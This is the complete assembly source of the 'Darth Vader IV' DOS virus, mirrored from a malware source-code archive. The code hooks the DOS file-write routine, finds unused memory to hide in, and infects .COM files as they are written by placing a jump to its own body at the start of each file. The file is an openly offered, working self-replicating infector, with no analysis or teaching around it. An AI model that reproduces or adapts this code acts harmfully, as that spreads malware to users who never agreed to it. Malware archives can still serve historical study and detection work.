mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-20 18:36:10 +00:00
145 lines
2.5 KiB
NASM
145 lines
2.5 KiB
NASM
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;*******************************************************************************
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;* *
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;* D A R T H V A D E R IV *
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;* *
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;* (C) - Copyright 1991 by Waleri Todorov, CICTT-Sofia *
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;* All Rights Reserved *
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;* *
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;* Enchanced by: Lazy Wizard *
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;* *
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;* Turbo Assembler 2.0 *
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;* *
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;*******************************************************************************
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.model tiny
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.code
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org 100h
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Start:
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call NextLine
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First3:
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int 20h
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int 3
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NextLine:
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pop bx
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push ax
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xor di,di
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mov es,di
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mov es,es:[2Bh*4+2]
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mov cx,1000h
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call SearchZero
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jc ReturnControl
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xchg ax,si
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inc si
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SearchTable:
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dec si
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db 26h
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lodsw
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cmp ax,8B2Eh
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jne SearchTable
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db 26h
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lodsb
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cmp al,75h
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je ReturnControl
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cmp al,9Fh
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jne SearchTable
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mov si,es:[si]
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mov cx,LastByte-Start
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lea ax,[di+Handle-Start]
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org $-1
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xchg ax,es:[si+80h]
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sub ax,di
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sub ax,cx
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mov [bx+OldWrite-Start-2],ax
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mov word ptr [bx+NewStart+1-Start-3],di
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lea si,[bx-3]
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rep movsb
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ReturnControl:
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pop ax
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push ss
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pop es
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mov di,100h
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lea si,[bx+First3-Start-3]
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push di
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movsw
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movsb
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ret
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SearchZero:
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xor ax,ax
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inc di
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push cx
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push di
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mov cx,[LastByte-Start-1]/2+1
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repe scasw
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pop di
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pop cx
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je FoundPlace
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loop SearchZero
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stc
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FoundPlace:
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ret
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Handle:
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push bp
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call NextHandle
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NextHandle:
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pop bp
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push es
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push ax
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push bx
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push cx
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push si
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push di
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test ch,ch
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je Do
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mov ax,1220h
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int 2Fh
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mov bl,es:[di]
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mov ax,1216h
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int 2Fh
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cmp es:[di+29h],'MO'
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jne Do
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cmp word ptr es:[di+15h],0
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jne Do
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push ds
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pop es
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mov di,dx
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mov ax,[di]
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mov [bp+First3-NextHandle],ax
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mov al,[di+2]
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mov [bp+First3+2-NextHandle],al
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call SearchZero
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jc Do
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push di
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NewStart:
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mov si,0
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mov cx,[LastByte-Start-1]/2
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cli
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rep
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db 36h
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movsw
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sti
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mov di,dx
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mov al,0E9h
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stosb
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pop ax
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sub ax,di
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dec ax
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dec ax
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stosw
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Do:
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pop di
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pop si
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pop cx
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pop bx
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pop ax
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pop es
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pop bp
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OldWrite:
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jmp start
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LastByte label byte
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end Start
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